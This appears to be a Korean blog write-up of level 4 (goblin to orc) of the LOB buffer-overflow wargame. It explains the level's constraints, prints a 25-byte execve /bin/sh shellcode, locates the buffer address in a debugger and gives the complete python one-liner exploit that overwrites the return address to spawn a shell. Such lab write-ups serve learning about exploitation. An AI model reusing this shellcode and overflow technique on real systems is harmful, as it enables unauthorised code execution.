LOB - 4. goblin -> orc

2018. 7. 5. 18:11WarGame/LOB

이번 문제는 1번부터 4번까지 풀면서 가장 오랜 시간을 소비한 문제같다. 

쉘코드를 구글에서 구해서 풀었지만, 쉘코드를 만들어야 실력이는다는 조언을받아서 10번정도까지 풀어보고 쉘코드 만드는 것을 공부해야겠다.


이 문제의 소스코드부터 보죠



특징을 살펴보면

1 .매번 환경변수 초기화를 시키고

2. 48번째의 자리에는 "\bf"만 와야한다. (그렇지 않으면 종료)


환경변수를 설정해 줄수 없으므로 공격하는 구문안에 직접 쉘코드를 집어넣어야한다.


그리고 48번째는 리턴값의 마지막주소이므로 리턴값을 조작하는데에도 까다로울 것으로 예상된다.


일단 이번에 사용한 쉘코드는 이것이다.   

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" (25byte)


그럼 디버깅해서 buffer 시작부분을 찾아보자.

 

1. 메인에 break를 걸어주고

2.  if문의 마지막조건인 48번째자리 "\xbf"만족시켜주고
3.  esp랑 ebp 위치를 확인하고

4.  최종 buffer의 위치를 확인합니다.



buffer의 시작주소가 "bffffc34" 인것이 확인되었으니 리턴주소를 여기로 옮겨주면 되겠네요.


이 주소는 아마 각자 다 다를것입니다.



처음에 나온 위치는 "bffffc34" 값을 넣어줄때에는 4byte뒤로 미루어서 넣어줘야지 shell을 딸 수 있습니다.


./orc `python -c 'print "\x90" * 19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x38\xfc\xff\xbf"'`






짠...! shell 탈취 성공 (grin)

'WarGame > LOB' 카테고리의 다른 글

LOB - 6.wolfman -> darkelf  (1062) 2018.07.05
LOB - 5.orc -> wolfman  (1069) 2018.07.05
LOB - 3. cobolt -> goblin  (0) 2018.07.05
LOB - 2. gremlin -> cobolt  (0) 2018.07.05
LOB - 1. gate ->gremlin  (0) 2018.07.05